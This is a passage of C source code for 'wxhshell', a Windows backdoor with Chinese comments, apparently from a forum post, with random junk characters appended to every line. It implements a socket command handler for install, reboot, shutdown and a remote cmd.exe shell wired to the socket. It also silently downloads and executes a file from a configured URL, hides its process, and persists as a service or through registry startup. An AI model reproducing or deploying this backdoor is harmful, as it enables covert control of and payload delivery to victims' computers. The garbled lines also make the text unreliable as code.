  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3("E5lI(g:  
  } 5:X^Q.f;  
  else { 1F94e)M)"  
UpCkB}OhR1  
    switch(cmd[0]) { UViWejA/*u  
  P(Q}r 7F~(  
  // 帮助 XF Wo"%}w  
  case '?': { rJ fO/WK  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T6Ks]6m_  
    break; I"r[4>>B>0  
  } %pr}Xs(-f  
  // 安装 Hrj@I?4  
  case 'i': { r>x>aJ  
    if(Install()) 1c}LX.9K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UaV8 !Z>  
    else qJT|om L Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p#tbN5i[{7  
    break; DjQgF=;  
    } C'xWRSDO  
  // 卸载 T{mIk p<  
  case 'r': { -{s9PZ3~_  
    if(Uninstall()) 5r(Y,m"?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); geEETb} +y  
    else "c0Nv8_G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jK-usn  
    break; 4dI =  
    } x]<0Kq9K  
  // 显示 wxhshell 所在路径 Xo~kB)|,  
  case 'p': { fGMuml?[ e  
    char svExeFile[MAX_PATH]; )5U2-g#U  
    strcpy(svExeFile,"\n\r"); <<[\ Rv  
      strcat(svExeFile,ExeFile); F@Cxjz  
        send(wsh,svExeFile,strlen(svExeFile),0); RL~]mI!U  
    break; :dj=kuUTbu  
    } l6k.`1.In  
  // 重启 TM^.y Y  
  case 'b': { a&s&6Q|Y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =E4~/F}9/T  
    if(Boot(REBOOT)) pm k;5 d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  _V_GdQ  
    else { p 28=l5y+  
    closesocket(wsh); f`"@7-N  
    ExitThread(0); 25/OV"Z  
    } ^)0b= (.  
    break; YKG}4{T  
    } k#pNk7;MZ  
  // 关机 t6a$ZN;  
  case 'd': { ZRLS3*`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O>kM2xw  
    if(Boot(SHUTDOWN)) 1OW#_4w/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1h#UM6  
    else { |&0zAP"\  
    closesocket(wsh); `/L D:R  
    ExitThread(0); gWpG-RL0  
    } XD$;K$_7  
    break; %hH@< <b(s  
    } RLr^6+v)U  
  // 获取shell '(!U5j  
  case 's': { X8212[7  
    CmdShell(wsh); J^)=8cy  
    closesocket(wsh); LQ3J$N  
    ExitThread(0); T@x_}a:g  
    break; 1@{qPmf^  
  } )ME'qA3K  
  // 退出 w-?|6I}T  
  case 'x': { (YKkJ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >^ijj`{d  
    CloseIt(wsh); SWPb=[WEz  
    break; 6 P U]I+  
    } +je{%,*  
  // 离开 }Z3+z@L  
  case 'q': { d+Au`'{>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _W^{,*p  
    closesocket(wsh); (7J (.EG2e  
    WSACleanup(); q$BS@   
    exit(1); Ch,%xs.)G  
    break; 6h3TU,$r  
        } * J|]E(  
  } {u{8QKeC  
  } YMD&U   
X>kW)c4{b  
  // 提示信息 ~ w,hJ `  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [2Ot=t6]  
} SvN2}]Kh  
  } M&~cU{9c  
U Rb  
  return; <Pg<F[eDM  
} bc(b1u?  
w6FVSU]sY  
// shell模块句柄 WSV[)-=:  
int CmdShell(SOCKET sock) I^itlQ  
{ IM$I=5y e  
STARTUPINFO si; PuoN<9 #  
ZeroMemory(&si,sizeof(si)); d6ABgQi0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A!.* eIV|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; m0_B[dw  
PROCESS_INFORMATION ProcessInfo; AB")aX2% E  
char cmdline[]="cmd"; X'XH-E  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #;~dA  
  return 0; tDwj~{a~  
} C8bv%9  
d0CFMy6  
// 自身启动模式 $mZpX:7/u8  
int StartFromService(void) ^#)M,.G^  
{ SE<hZLd"  
typedef struct U7@)RJ  
{ ;|H(_J=6k  
  DWORD ExitStatus; %2t#>}If!  
  DWORD PebBaseAddress; !-Br?  
  DWORD AffinityMask; Ad]oM]  
  DWORD BasePriority; **L3T3$)  
  ULONG UniqueProcessId; R4P$zB_<2  
  ULONG InheritedFromUniqueProcessId; z(dX<  
}   PROCESS_BASIC_INFORMATION; aq<QKn U  
1l`$.k  
PROCNTQSIP NtQueryInformationProcess; $dgez#TPL  
5|Or,8r(C  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _z(ydL*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &6}] v:  
WA&&*ae5`  
  HANDLE             hProcess; LJII7<k  
  PROCESS_BASIC_INFORMATION pbi; 8 y+Nl&"V  
;V"(! 'd  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); LwL\CE_6+  
  if(NULL == hInst ) return 0; y/}ENUGR  
}R]^%q@&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L.M|o  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); J4;F k  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); '#faNVPABh  
NDaM;`  
  if (!NtQueryInformationProcess) return 0; 2r~&+0sBP  
WJN}d-S=^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); F6h|AF|"  
  if(!hProcess) return 0; A"8"e*  
,J0BG0jB^u  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; I N'a5&..  
|vY0[#E8&  
  CloseHandle(hProcess); =z$XqT.'  
(~<9\ZJs  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Sn lKPd  
if(hProcess==NULL) return 0; j7M[]/|  
L9=D,C~  
HMODULE hMod; @Ja8~5:  
char procName[255]; }`,}e259  
unsigned long cbNeeded; """gV)Y  
uKcwVEu  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {LLy4m  
u{o!#_o64  
  CloseHandle(hProcess); dw v(8  
?5<Q+ G0r  
if(strstr(procName,"services")) return 1; // 以服务启动 DGwN*>X  
URodvyD  
  return 0; // 注册表启动 ]OZk+DU:  
} v3i]z9`  
8SGFzb! h  
// 主模块 @L-3&~=  
int StartWxhshell(LPSTR lpCmdLine) '$3]U5KOwK  
{ R`F54?th  
  SOCKET wsl; 'xUyGj:  
BOOL val=TRUE; gqje]Zc<  
  int port=0; E,[@jxP  
  struct sockaddr_in door; dT%$"sj5  
YFVNkB O%  
  if(wscfg.ws_autoins) Install(); >h0iq  
p. eq N  
port=atoi(lpCmdLine); TRl,L5wd-?  
/- qS YS(  
if(port<=0) port=wscfg.ws_port; U9[ &ci  
p`)GO.pz  
  WSADATA data; D~~&e<v'1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S0\;FmLIc  
3TRzDE(J  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   P,x'1 `k~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @hlT7C)xK  
  door.sin_family = AF_INET; [4NJ]r M%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); R&cOhUj22J  
  door.sin_port = htons(port); ze<Lc/;X~  
i+$G=Z#3E  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { L7*,v5  
closesocket(wsl); v`"z  
return 1; [i 18$q5D  
} J6eF7 fa  
[*<F   
  if(listen(wsl,2) == INVALID_SOCKET) { b]'Uv8fbF  
closesocket(wsl); j {w'#x,  
return 1; +/tN d2  
} :Yi1#  
  Wxhshell(wsl); 7~@9=e8G  
  WSACleanup(); QxRT%;'Zh]  
'u6T^YS  
return 0; L*xu<(>K  
ra L!}  
} *9#6N2J$M  
CdCo+U5z{  
// 以NT服务方式启动 UEZnd8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vUEG0{8l  
{ v71j1Q}6  
DWORD   status = 0; ]Ek6EuaK  
  DWORD   specificError = 0xfffffff; hk =nXv2M  
I}djDtJ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~)\9f 1O{^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; k8 !|WqfP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Hc`)Q vFRW  
  serviceStatus.dwWin32ExitCode     = 0; J#h2~Hz!  
  serviceStatus.dwServiceSpecificExitCode = 0; YP*EDb?f  
  serviceStatus.dwCheckPoint       = 0; C` s  
  serviceStatus.dwWaitHint       = 0; toD v~v  
xq`mo  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); P9Ye e!*H  
  if (hServiceStatusHandle==0) return; ({XB,Rm  
:ud<"I]:  
status = GetLastError(); O$F<x,  
  if (status!=NO_ERROR) G(g`>' m  
{ z+ch-L^K4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [BPK0  
    serviceStatus.dwCheckPoint       = 0; $A GW8"  
    serviceStatus.dwWaitHint       = 0; ^|u7+b'|t  
    serviceStatus.dwWin32ExitCode     = status; HPz9Er  
    serviceStatus.dwServiceSpecificExitCode = specificError; uY{zZ4iw  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); D hN{Y8'~  
    return; vD,ZEKAN  
  } 1k=w 9  
Mnj\t3:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; iME )Jl&  
  serviceStatus.dwCheckPoint       = 0; 8>U{>]WG  
  serviceStatus.dwWaitHint       = 0; #%Z 0!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c[p>*FnP  
} 9T`$gAI  
Gi=sJV  
// 处理NT服务事件,比如:启动、停止 Sn6cwf9.s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )4nf={iM  
{ _/FpmnaY  
switch(fdwControl) .A(QqL>  
{ #6fQ$x(F#j  
case SERVICE_CONTROL_STOP: EC`!&Yp+  
  serviceStatus.dwWin32ExitCode = 0; 2O|jVGap5x  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ge'[AhA  
  serviceStatus.dwCheckPoint   = 0; sBN"eHg  
  serviceStatus.dwWaitHint     = 0; 8IeE7  
  { .|$:%"O&X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xqZZ(jZ  
  } B^7B-RBi0  
  return; Th\w#%'N  
case SERVICE_CONTROL_PAUSE: pr;n~E 'kq  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Ch] `@(l  
  break; <0EVq8h  
case SERVICE_CONTROL_CONTINUE: D)O2=aQ;]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $,b1`*  
  break; 3^jkd)xw  
case SERVICE_CONTROL_INTERROGATE: =d+~l  
  break; '' Pu  
}; 8;%F-?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J!\Cs1 !f  
} 8QJ^@|7  
j3-^,r t4  
// 标准应用程序主函数 \!51I./Q/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8I>'x f  
{ a)o-6  
S17iYjy#8T  
// 获取操作系统版本 @K=:f  
OsIsNt=GetOsVer(); ydZS^BqG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); qUS y0SQ/l  
&.v|yG]&  
  // 从命令行安装 'DhH:PR  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ye=c;0V(w  
kd=|Iip;(  
  // 下载执行文件 B4#XQ-  
if(wscfg.ws_downexe) { ov 'g'1}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E"'4=_  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6f'THU$  
} zObrp  
rOo |.4w  
if(!OsIsNt) { 7l+:gD  
// 如果时win9x,隐藏进程并且设置为注册表启动 %a=^T?8  
HideProc(); x:? EL)(  
StartWxhshell(lpCmdLine); _SQQS67fu"  
} Y& p ~8  
else o>l/*i0I  
  if(StartFromService()) z+5%.^Re  
  // 以服务方式启动 Lz/{ q6>  
  StartServiceCtrlDispatcher(DispatchTable); }2]m]D@%7  
else 4(D1/8  
  // 普通方式启动 2v\<MrL  
  StartWxhshell(lpCmdLine); xt zjFfq  
-)%g MD~z1  
return 0; =K;M\_k%y  
}
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只看该作者 1 发表于: 2006-10-10
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